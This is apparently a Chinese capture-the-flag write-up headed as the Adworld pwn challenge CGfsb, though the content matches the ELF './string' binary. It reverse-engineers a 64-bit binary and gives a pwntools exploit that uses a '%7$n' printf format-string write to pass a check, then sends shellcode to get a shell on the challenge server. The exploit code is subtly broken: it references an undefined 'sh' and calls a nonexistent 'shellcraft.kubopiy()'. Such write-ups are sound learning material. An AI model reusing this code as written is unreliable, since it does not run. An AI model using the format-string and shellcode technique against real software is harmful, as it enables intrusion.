• *pwn*练习7——攻防世界-CGfsb


    老样子,基本操作来一遍,发现是64位文件,拖到ida中

     v3申请了8字节的空间,前半段存放了68,后半段存放了85

    进入函数sub_400D72(v4)

    我们输入一个长度小于0xc的name进入函数sub_400A7D()

    输入east进入下一步流程sub_400BB9()

    输入v1不为1,,输入一个地址,可能存在漏洞,接着进入sub_400CA6函数

    如果*a1 == a1[1] ,查找mmap函数void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

    mmap将一个文件或者其它对象映射进内存,那么我们可以利用写入 shellcode 来获取 shell。

    但我们为了进入if条件就要使之*a1 == a1[1]

    在 sub_400BB9 函数中存在漏洞,我们可以修改其中一方的值,使之相等。

     存在printf重大漏洞,根据gdb调试结果,到第7个参数,我们可以对其进行读写修改,加上之前传入的前半截地址,我们可以用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值。

    from pwn import *
    kubopiy=remote("220.249.52.133",54766)#进行连接
    context(arch='amd64')
    elf = ELF("./string")
    kubopiy.recvuntil("secret[0] is ")
    v4_addr=int(sh.recvuntil(' '), 16)#16进制
    kubopiy.recvuntil("What should your character's name be:")
    kubopiy.sendline('aaaa')
    kubopiy.recvuntil("So, where you will go?east or up?:")
    kubopiy.sendline('east')
    kubopiy.recvuntil("go into there(1), or leave(0)?:")
    kubopiy.sendline('1')
    kubopiy.recvuntil("'Give me an address'")#v4v3前半部分的地址
    kubopiy.sendline(str(int(v4_addr)))
    kubopiy.recvuntil("And, you wish is:")
    payload='a'*85+'%7$n'#将第7+1个参数进行n%解析,并修改为85
    kubopiy.sendline(payload)
    shellcode=asm(shellcraft.kubopiy())
    kubopiy.recvuntil("Wizard: I will help you! USE YOU SPELL")
    kubopiy.sendline(shellcode)#直接写入shellcode
    kubopiy.interactive()

     拿到flag,感觉这个题还有很多地方没有吃透,还要再看一下

  • 相关阅读:
    [Python]小甲鱼Python视频第038课(类和对象:继承 )课后题及参考解答
    [Python]小甲鱼Python视频第037课(类和对象:面向对象编程 )课后题及参考解答
    [Python]小甲鱼Python视频第036课(类和对象:给大家介绍对象 )课后题及参考解答
    Session共享
    防止表单重复提交
    Docker安装redis
    Docker安装mysql
    docker-compose常用命令
    Docker常用命令
    Oracle 随机取记录
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13721357.html
Copyright © 2020-2023  润新知